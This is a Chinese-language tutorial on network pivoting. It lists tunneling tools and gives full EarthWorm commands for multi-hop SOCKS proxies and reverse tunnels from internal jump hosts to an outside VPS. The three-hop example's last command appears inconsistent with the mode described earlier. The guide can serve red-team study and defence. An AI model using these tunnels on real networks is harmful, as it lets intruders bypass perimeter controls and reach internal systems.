一、内网主机出网方式
1、使用代理网站进行出网,基于frp
https://www.ngrok.cc/
2、自己在跳板机上安装工具出网
常见的有ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、ProxyChains 等等
二、部分工具的介绍和使用

1、ew介绍:
全称为EarthWorm,直译蚯蚓,支持SOCKS5正向代理、SOCKS5反向代理、多级级联的代理软件,它支持六种模式,其中ssocksd用于普通网络环境的正向连接;rcsocks、rssocks用于反弹连接;lcx_slave、lcx_listen、lcx_tran用于复杂网络环境的多级级联。
https://github.com/idlefire/ew
1)一个跳板机
第一种情况,当跳板机有公网IP时,跳板机作为代理服务器,内网主机上网,通过【内网主机<-->跳板机(1080)<-->公网主机】进行出网,windows/linux分别执行ew_for_windows.exe -s ssocksd -l 1080/ew_for_linux -s ssocksd -l 1080
第二种情况,当跳板机没有公网IP,VPS作为代理服务器,通过【内网资源<-->跳板机<-->(4444)VPS(1080)<-->公网主机】出网,而是使用VPS代理时,在VPS上配置,将1080端口的数据转发到4444端口,windows/linux分别执行ew_for_windows.exe -s rcsocks -l 1080 -e 4444/ew_for_linux -s rcsocks -l 1080 -e 4444;在跳板机上配置windows/linux分别执行ew_for_windows.exe -s rssocks -d VPS的公网IP -e 4444/ew_for_linux -s rssocks -d VPS的公网IP -e 4444
2)二级跳板
第一种情况,当跳板机A能访问公网和内网主机,但是访问不了内网资源,跳板机B不能访问公网,但是能访问内网资源,通过【内网资源<-->跳板机B(4444)<-->跳板机A(1080)<-->公网主机】进行出网
跳板机A作为中转,将自己1080端口的数据转发到跳板机B的4444端口,windows/linux分别执行ew_for_windows.exe -s lcx_tran -l 1080 -f 跳板机B的IP -g 4444/ew_for_linux -s lcx_tran -l 1080 -f 跳板机B -g 4444;跳板机B作为代理服务器,监听4444端口,windows/linux分别执行ew_for_windows.exe -s ssocksd -l 4444/ew_for_linux -s ssocksd -l 4444,公网主机客户端通过连接跳板机A的1080端口就能访问到内网资源
第二种情况,当跳板机A能访问内网主机,但是访问不了内网资源,但是能访问公网,跳板机B不能访问公网,但是能访问内网资源,需要一个公网VPS进行出网,通过【内网资源<-->跳板机B(5555)<-->跳板机A<-->(4444)VPS(1080)<-->公网主机】进行出网。公网VPS作为中转,将自己1080端口的数据转发给自己的4444端口,windows/linux分别执行ew_for_windows.exe -s lcx_listen -l 1080 -e 4444/ew_for_linux-s lcx_listen -l 1080 -e 4444;跳板机B作为代理服务器,开放5555进行监听,windows/linux分别执行ew_for_windows.exe -s ssocksd -l 5555/ew_for_linux -s ssocksd -l 5555;跳板机A作为中转,将来自VPS的4444端口的数据转发给跳板B的5555端口,windows/linux分别执行ew_for_windows.exe -s lcx_slave -d VPS的IP -e 4444 -f 跳板机B的IP -g 5555/ew_for_linux -s lcx_slave -d VPS的IP -e 4444 -f 跳板机B的IP -g 5555
3)三级跳板
和上面类似,【内网资源<-->跳板机C<-->(6666)跳板机B(5555)<-->跳板机A<-->(4444)VPS(1080)<-->公网主机】在公网VPS上,将1080端口的数据转发给4444端口,windows/linux分别执行ew_for_windows.exe -s lcx_listen -l 1080 -e 4444/ew_for_linux-s lcx_listen -l 1080 -e 4444;在跳板机B上,开放5555和6666端口进行监听,windows/linux分别执行ew_for_windows.exe -s lcx_listen -l 5555 -e 6666/ew_for_linux -s lcx_listen -l 5555 -e 6666;在跳板机A上,将VPS的4444端口的数据转发给跳板B的5555端口,windows/linux分别执行ew_for_windows.exe -s lcx_slave -d VPS的IP -e 4444 -f 跳板机B的IP -g 5555/ew_for_linux -s lcx_slave -d VPS的IP -e 4444 -f 跳板机B的IP -g 5555;在跳板机C上,连接到跳板机B,windows/linux分别执行ew_for_windows.exe -s ssocksd -d 跳板机B的IP -e 6666/ew_for_linux -s ssocksd -d 跳板机B的IP -e 6666